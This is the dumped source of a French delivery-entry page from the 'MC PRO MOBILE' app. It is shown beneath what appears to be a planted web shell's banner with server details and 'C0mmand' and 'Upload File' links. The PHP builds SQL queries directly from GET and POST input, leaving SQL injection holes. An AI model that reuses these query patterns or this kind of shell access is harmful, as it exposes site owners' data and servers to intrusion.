|
Server IP : 10.128.40.6 / Your IP : 216.73.216.233 Web Server : Apache System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : logmcpe ( 111175) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/logmcpe/www/TEST/../mobile/pages/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
include 'includes/config_tmcpro.php' ;
include 'includes/stable_functions_tmcpro.php' ;
$select = "SELECT * FROM `salarie` WHERE `salarie_statut` = '1'";
$salarie = mysqli_query($conn,$select);
list($Lieu_de_stockage_ID) = dbi_fetch_row( dbi_query("SELECT Lieu_de_stockage_ID FROM `users` WHERE `user_id` = ".$_SESSION['MCPRO']['user_id'])) ;
$user_id = $_SESSION['MCPRO']['user_id'] ;
$user_id = 83 ;
// echo "===> $Lieu_de_stockage_ID <br/>" ;
$no=1;
session_start();
$message = false;
//where status ='pending'
$select = "SELECT * FROM client where client_statut = '1' order by client_nom";
$client = mysqli_query($conn,$select);
$select = "SELECT * FROM produits";
$produit = mysqli_query($conn,$select);
$message = false;
$suppliers = array();
$products = array();
$check_out = array();
$customerList = array();
//where status ='pending'
$select = "SELECT id , date , reference , client ,note ,local, client_nom FROM `check_out` ch , client c where ch.client = c.client_id order by date ";
if($res = mysqli_query($conn,$select)){
$count = mysqli_num_rows($res);
}else{
$count=0;
}
$select = "SELECT * FROM `check_out_produit`";
$resu = mysqli_query($conn,$select);
while ($ro = mysqli_fetch_array($resu)) {
$products[] = $ro;
}
$select = "SELECT * FROM `produits`";
$resu = mysqli_query($conn,$select);
while ($pro = mysqli_fetch_array($resu)) {
$productsList[] = $pro;
}
$resu = dbi_query("SELECT * FROM client where 1 ") ;
// $select = "SELECT * FROM `client`";
// $resu = mysqli_query($conn,$select);
while($cus = dbi_fetch_row($resu)) {
$customerList[] = $cus['client_id'];
}
// echo "<pre>" ;
// print_r($customerList) ;
// echo "</pre>" ;
// echo "testdddddddddd3333333333eeeddddt <br/>" ;
// exit() ;
if(isset($_GET['delete'])){
$del = $_GET['delete'];
$query = "DELETE FROM check_out WHERE id='$del'";
if(mysqli_query($conn,$query)){
$query = "DELETE FROM check_out_produit WHERE check_out_id='$del'";
if(mysqli_query($conn,$query)){
header('Location:livraison.php?msg= livraison bien Supprimer &color=success');
}
}
}
if($_POST['ajout']== "ajout")
{
$date_livraison = date('Ymd') ;
$client = $_POST["client"];
$client_id = $_POST["client"];
$salarie_id = $_POST["salarie_id"];
list($demliv_id)= dbi_fetch_row(dbi_query("SELECT demliv_id FROM `demliv` WHERE demliv_statut = '0' and `client_id` = $client")) ;
// echo "========> $demliv_id <br/>" ;
// echo "yyyyyy <br/>" ;
if($demliv_id != "")
{
// echo "========> $demliv_id <br/>" ;
// echo "ggggggg <br/>" ;
dbi_query("UPDATE `demliv` SET `demliv_statut` = '1' WHERE `demliv`.`demliv_id` = '".$demliv_id."' ") ;
}
// exit() ;
$products = array();
$quantity = "";
// $date_arr = explode("-",$_POST["date"]);
$date = $date_livraison ;
$reference = $_POST["reference"];
// echo "<pre>" ;
// print_r($_POST) ;
// echo "<pre>" ;
// exit() ;
foreach ($_POST["product"] as $key => $value) {
$products[$key]["item"] = $_POST["product"][$key];
$products[$key]["quantity"] = $_POST["quantity"][$key];
}
$note = $_POST["note"];
if($Lieu_de_stockage_ID == 20)
{
$local = 'PARIS';
}
if($Lieu_de_stockage_ID == 21)
{
$local = 'TOULON';
}
// echo "<pre>" ;
// print_r($_POST) ;
// echo "</pre>" ;
// exit() ;
$_SESSION['client_id'] = $client ;
$query = "INSERT INTO `check_out`(salarie_id ,`date`, `reference`, `client`, `note` , `local`, user_id) VALUES ('$salarie_id ','$date','$reference','$client','$note','$local', $user_id)";
// echo $query;
if(mysqli_query($conn,$query)){
$query = "SELECT * FROM check_out WHERE date='$date' && reference='$reference' && client='$client' && note='$note'";
$resu = mysqli_query($conn,$query);
$fetch_row = mysqli_fetch_row($resu);
$new_id = $fetch_row[0];
foreach ($products as $key => $value) {
$prod = $products[$key]["item"];
$quan = $products[$key]["quantity"];
$query = "INSERT INTO `check_out_produit`(`check_out_id`, `product_Id`, `quantity`) VALUES ('$new_id','$prod','$quan')";
mysqli_query($conn,$query);
}
}
header("location: addcontrole.php?s=ok&client_id=$client_id&salarie_id=$salarie_id");
}
if($_POST['modifier']== "modifier")
{
$products = array();
$quantity = "";
$edit = $_POST["edit"];
$select = "SELECT * FROM check_out where id='$edit'";
$result = mysqli_query($conn,$select);
$check_out = mysqli_fetch_row($result);
if(is_null($_POST["date"]) || empty($_POST["date"]) || !isset($_POST["date"])){
$date = $check_out[1];
$date_arr = explode("/", $check_out[1]);
$date = $date_arr[0]."".$date_arr[1]."".$date_arr[1];
}else{
$date_arr = explode("-",$_POST["date"]);
$date = $date_arr[0]."".$date_arr[1]."".$date_arr[2];
}
$reference = $_POST["reference"];
$client = $_POST["client"];
foreach ($_POST["product"] as $key => $value) {
$products[$key]["item"] = $_POST["product"][$key];
$products[$key]["quantity"] = $_POST["quantity"][$key];
}
$note = $_POST["note"];
$local = $_POST["local-storage"];
// echo "<pre>" ;
// print_r($_POST);
// echo "</pre>" ;
// exit() ;
$query = "UPDATE `check_out` SET `date`='$date',`reference`='$reference',`client`='$client',`note`='$note',`local`='$local' WHERE id='$edit'";
if(mysqli_query($conn,$query)){
$query = "DELETE FROM `check_out_produit` WHERE check_out_id ='$edit'";
mysqli_query($conn,$query);
foreach ($products as $key => $value) {
$prod = $products[$key]["item"];
$quan = $products[$key]["quantity"];
$query = "INSERT INTO `check_out_produit`(`check_out_id`, `product_Id`, `quantity`) VALUES ('$edit','$prod','$quan')";
mysqli_query($conn,$query);
}
}
header('Location:livraison.php?msg= Commande bien modifier &color=success');
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>MC PRO MOBILE | LIVRAISON </title>
<!-- Tell the browser to be responsive to screen width -->
<meta name="viewport" content="width=device-width, initial-scale=1">
<!-- Font Awesome -->
<link rel="stylesheet" href="plugins/fontawesome-free/css/all.min.css">
<!-- Ionicons -->
<link rel="stylesheet" href="https://code.ionicframework.com/ionicons/2.0.1/css/ionicons.min.css">
<!-- Select2 -->
<link rel="stylesheet" href="plugins/select2/css/select2.min.css">
<link rel="stylesheet" href="plugins/select2-bootstrap4-theme/select2-bootstrap4.min.css">
<!-- Tempusdominus Bbootstrap 4 -->
<link rel="stylesheet" href="plugins/tempusdominus-bootstrap-4/css/tempusdominus-bootstrap-4.min.css">
<!-- iCheck -->
<link rel="stylesheet" href="plugins/icheck-bootstrap/icheck-bootstrap.min.css">
<!-- JQVMap -->
<link rel="stylesheet" href="plugins/jqvmap/jqvmap.min.css">
<!-- Theme style -->
<link rel="stylesheet" href="dist/css/adminlte.min.css">
<!-- overlayScrollbars -->
<link rel="stylesheet" href="plugins/overlayScrollbars/css/OverlayScrollbars.min.css">
<!-- Daterange picker -->
<link rel="stylesheet" href="plugins/daterangepicker/daterangepicker.css">
<!-- summernote -->
<link rel="stylesheet" href="plugins/summernote/summernote-bs4.css">
<!-- Google Font: Source Sans Pro -->
<link href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,400i,700" rel="stylesheet">
</head>
<body class="hold-transition sidebar-mini layout-fixed">
<div class="wrapper">
<!-- Navbar -->
<nav class="main-header navbar navbar-expand navbar-white navbar-light">
<!-- Left navbar links -->
<ul class="navbar-nav ml-auto">
<li class="nav-item">
<a class="nav-link" data-widget="pushmenu" href="#"><i class="fas fa-bars"></i></a>
</li>
<li class="nav-item d-sm-inline-block">
<a href="index.php" class="nav-link">ACCUEIL</a>
</li>
<li class="nav-item d-sm-inline-block">
<a href="livraison.php" class="nav-link">LIVRAISON</a>
</li>
<li class="nav-item d-sm-inline-block">
<a href="controle.php" class="nav-link">CONTROLE</a>
</li>
</ul>
</nav>
<!-- /.navbar -->
<?php ?>
<aside class="main-sidebar sidebar-dark-primary elevation-4">
<a href="index.php" class="brand-link">
<img src="../../dist/img/logomcpro.png"
alt="AdminLTE Logo"
class="brand-image img-circle elevation-3"
style="opacity: .8">
<span class="brand-text font-weight-light">MC PRO MOBILE</span>
</a>
<!-- Sidebar / ne pas toucher -->
<div class="sidebar">
<!-- IDENTIFICATION DE L'UTILISATEUR -->
<div class="user-panel mt-3 pb-3 mb-3 d-flex">
<div class="info">
<a href="#" class="d-block"><?php echo $_SESSION['MCPRO']['login'][0] ;?></a>
</div>
</div>
<!-- LIENS DE LA BARRE DE NAVIGATION-->
<nav class="mt-2">
<ul class="nav nav-pills nav-sidebar flex-column" data-widget="treeview" role="menu" data-accordion="false">
<!-- Ne pas toucher les 2 lignes pr飩dentes-->
<li class="nav-item">
<a href="login.php?dec=1" class="nav-link">
<i class="nav-icon far fa-address-book"></i>
<p>Déconnexion </p>
</a>
</li>
</ul>
</nav>
<!-- /.sidebar-menu -->
</div>
<!-- /.sidebar -->
</aside>
<!-- Content Wrapper. Contains page content -->
<div class="content-wrapper">
<!-- Content Header (Page header) -->
<div class="content-header">
<div class="container-fluid">
<div class="row mb-2">
<div class="col-sm-6">
<h1 class="m-0 text-dark">NOUVELLE LIVRAISON</h1>
</div><!-- /.col -->
</div><!-- /.row -->
</div><!-- /.container-fluid -->
</div>
<!-- /.content-header -->
<!-- Main content -->
<section class="content">
<div class="container-fluid">
<!-- Main row -->
<div class="row">
<?php if(isset($_GET['s'])) { ?>
<div class="alert alert-<?php echo 'success' ?> alert-dismissible col-12" role="alert">
<strong><?php echo ' les informations du contrôle sont ajoutés avec succès . '; ?></strong><?php echo ''; ?>.
<button type="button" class="close" data-dismiss="alert" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<?php } ?>
<div class="col-lg-12 col-12">
<!-- TABLE: LATEST ORDERS -->
<div class="card">
<!-- /.card-header -->
<div class="card-body p-10">
<form role="form" id="add" name="add" method="post" enctype="multipart/form-data" action="">
<input type="hidden" name="edit" id="edit" value="<?php echo $check_out[0] ?>">
<?php echo'<input type="hidden" name="ajout" value="ajout">';?>
<div class="form-group col-md-12">
<label for="client">Client</label>
<select class="form-control js-example-basic-single" id="client_id" name="client">
<option value="null">Selectionner Client</option>
<?php
while ($row = mysqli_fetch_array($client)) {
if( isset($_GET['client_id']) && $_GET['client_id'] == $row["client_id"]){
echo "<option value='".$row["client_id"]."' selected>".$row["client_nom"]."</option>";
}else{
echo "<option value='".$row["client_id"]."'>".$row["client_nom"]."</option>";
}
}
?>
</select>
</div>
<div class="form-group col-md-12">
<table id="myTable" class="table order-list table-bordered table-striped">
<tr>
<td>Description</td>
<td>Quantité</td>
<td><i class="fa fa-trash"></i></td>
</tr>
<?php
$q = "select * from produits limit 14 ";
$q = mysqli_query($conn, $q);
?>
<?php while($row = mysqli_fetch_assoc($q)): ?>
<tr>
<td><input type="hidden" class="form-control" value="<?= $row['Produit_ID'] ?>" readonly name="product[]"/><p><?= $row["Produit_Designation"] ?></p></td>
<td><input type="number" class="form-control" value="0" name="quantity[]"/></td>
<td><span style="cursor:pointer;"><i id="ibtnDel" name="ibtnDel" class="ibtnDel fa fa-trash"></i></span></td>
</tr>
<?php endwhile; ?>
<!-- <tbody>
</tbody>
<tfoot>
<tr>
</tr>
</tfoot> -->
</table>
</div>
<div class="form-group col-md-12">
<label for="add-item">Ajouter Produit</label>
<select onchange="selectChange()" class="form-control js-example-basic-single" id="product" placeholder="Add Item" name="productt" required>
<option value="null">Selectionner Produit</option>
<?php
while ($row = mysqli_fetch_array($produit)) {
echo "<option value='".$row["Produit_ID"]."'>".$row["Produit_Designation"]."</option>";
}
?>
</select>
</div>
<div class="form-group col-md-12">
<label>Note</label>
<textarea id="note" name="note" class="form-control" rows="3" placeholder="Enter ..."></textarea>
</div>
<div class="modal-footer justify-content-between">
<button type="submit" name="submitbtn" class="btn btn-primary">Enregistrer</button>
</div>
</form>
</div>
</div>
<!-- /.card -->
</div>
</div>
<!-- /.row -->
</div><!-- /.container-fluid -->
</section>
<!-- /.content -->
</div>
<!-- /.content-wrapper -->
<?php include('footerr.php'); ?>
<!-- Control Sidebar -->
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
</aside>
<!-- /.control-sidebar -->
</div>
<!-- ./wrapper -->
<!-- jQuery -->
<script src="plugins/jquery/jquery.min.js"></script>
<!-- jQuery UI 1.11.4 -->
<script src="plugins/jquery-ui/jquery-ui.min.js"></script>
<!-- Resolve conflict in jQuery UI tooltip with Bootstrap tooltip -->
<script>
$.widget.bridge('uibutton', $.ui.button)
</script>
<!-- Bootstrap 4 -->
<script src="plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<!-- ChartJS -->
<script src="plugins/chart.js/Chart.min.js"></script>
<!-- Sparkline -->
<script src="plugins/sparklines/sparkline.js"></script>
<!-- JQVMap -->
<script src="plugins/jqvmap/jquery.vmap.min.js"></script>
<script src="plugins/jqvmap/maps/jquery.vmap.usa.js"></script>
<!-- jQuery Knob Chart -->
<script src="plugins/jquery-knob/jquery.knob.min.js"></script>
<!-- daterangepicker -->
<script src="plugins/moment/moment.min.js"></script>
<script src="plugins/daterangepicker/daterangepicker.js"></script>
<!-- Tempusdominus Bootstrap 4 -->
<script src="plugins/tempusdominus-bootstrap-4/js/tempusdominus-bootstrap-4.min.js"></script>
<!-- Select2 -->
<script src="plugins/select2/js/select2.full.min.js"></script>
<!-- Summernote -->
<script src="plugins/summernote/summernote-bs4.min.js"></script>
<!-- overlayScrollbars -->
<script src="plugins/overlayScrollbars/js/jquery.overlayScrollbars.min.js"></script>
<!-- AdminLTE App -->
<script src="dist/js/adminlte.js"></script>
<!-- AdminLTE dashboard demo (This is only for demo purposes) -->
<script src="dist/js/pages/dashboard.js"></script>
<!-- AdminLTE for demo purposes -->
<script src="dist/js/demo.js"></script>
<script type="text/javascript">
$(document).ready(function () {
bsCustomFileInput.init();
});
</script>
<script src="../../plugins/summernote/summernote-bs4.min.js"></script>
<script>
$(function () {
// Summernote
$('.select2').select2()
})
</script>
<script>
$(document).ready(function() {
$('.js-example-basic-single').select2();
});
$(function () {
$("#tables").DataTable();
$('#example').DataTable({
"paging": true,
"lengthChange": false,
"searching": false,
"ordering": false,
"info": true,
"autoWidth": false
});
});
// $("#product").change( function() {
// alert($("#product").val());
// });
$(document).ready(function () {
var counter = 0;
$("#product").on("change", function (e) {
var id = $("#product").val()
var name = $('#product').find(":selected").text();
var newRow = $("<tr>");
var cols = "";
cols += '<td><input type="hidden" class="form-control" value="'+id+'"" readonly name="product[]"/><p>'+name+'</p></td>';
cols += '<td><input type="number" class="form-control" value="1" name="quantity[]"/></td>';
cols += '<td><span style="cursor:pointer;"><i id="ibtnDel" name="ibtnDel" class="ibtnDel fa fa-trash"></i></span></td>';
newRow.append(cols);
$("table").append(newRow);
counter++;
$("#product").select2("close");
});
$("table.order-list").on("click", ".ibtnDel", function (event) {
$(this).closest("tr").remove();
counter -= 1
});
});
function calculateRow(row) {
var price = +row.find('input[name^="price"]').val();
}
function calculateGrandTotal() {
var grandTotal = 0;
$("table.order-list").find('input[name^="price"]').each(function () {
grandTotal += +$(this).val();
});
$("#grandtotal").text(grandTotal.toFixed(2));
}
//$('#product').selectize('option');
</script>
<!-- page script -->
<script>
$(function () {
$("#tables").DataTable();
$('#example').DataTable({
"paging": true,
"lengthChange": false,
"searching": false,
"ordering": false,
"info": true,
"autoWidth": false
});
});
$(document).ready(function() {
$('#client_id').on('change',function(){
var client_id = $(this).val();
// alert(client_id);
if(client_id > 0 ){
$.ajax({
type:'POST',
url: 'ajaxsalarie.php',
data:'client_id='+client_id,
success:function(html){
$('#salarie_id').html(html);
}
});
}
});
$('#tables tr').click(function(e) {
$("#productTable").empty();
$('#productTable').append('<thead><td>#</td><td>Produit</td><td>Quantité</td></thead>');
var table = $('#tables').DataTable();
var data = table.row(this).data();
var tempId = data[5].split("?edit=");
var tempId = tempId[1].split('"');
// var table = $('#tables').DataTable();
// var data = table.row( this ).data();
// var tempId = data.pop().split("?edit=");
// var rowEdit = document.getElementById("rowValue");
// var rowHref = rowEdit.getAttribute('href');
// var splitHref = rowHref.split("=");
var rowId =tempId[0];
var te = 1;
var arr = <?php echo json_encode($check_out); ?>;
var prod = <?php echo json_encode($products); ?>;
var prodList = <?php echo json_encode($productsList); ?>;
var custList = <?php echo json_encode($customerList); ?>;
var customer = "";
for(var i=0; i < arr.length; i++){
if(rowId == arr[i][0]){
document.getElementById('exampleModalLongTitle').innerHTML = "<b> Livraison Client ID: "+arr[i][0]+"</b>";
document.getElementById('checkOutDate').innerHTML = "<b>"+arr[i+1]+"</b>";
document.getElementById('checkOutReference').innerHTML = "<b>"+arr[i][2]+"</b>";
document.getElementById("productNote").innerHTML = "<b style='color: red;'>Note</b><b>"+arr[i][4]+"</b>";
for(var n=0; n < custList.length; n++){
if(custList[n][0] == arr[i][3]){
customer = custList[n][1];
}
}
document.getElementById('checkOutCustomer').innerHTML = "<b>"+arr[i][6]+"</b>";
for(var l=0; l<prod.length; l++){
if(prod[l][1] == arr[i][0]){
for(var p = 0; p < prodList.length; p++){
if(prodList[p][0]==prod[l][2]){
$('#productTable').append('<tr><td>'+te+'</td><td>'+prodList[p][3]+'</td><td>'+prod[l][3]+'</td></tr>');
}
}
te++;
}
}
}
}
$('#exampleModalLong').modal('show');
});
});
$('#myModal').on('shown.bs.modal', function () {
$('#myInput').trigger('focus')
});
</script>
</body>
</html>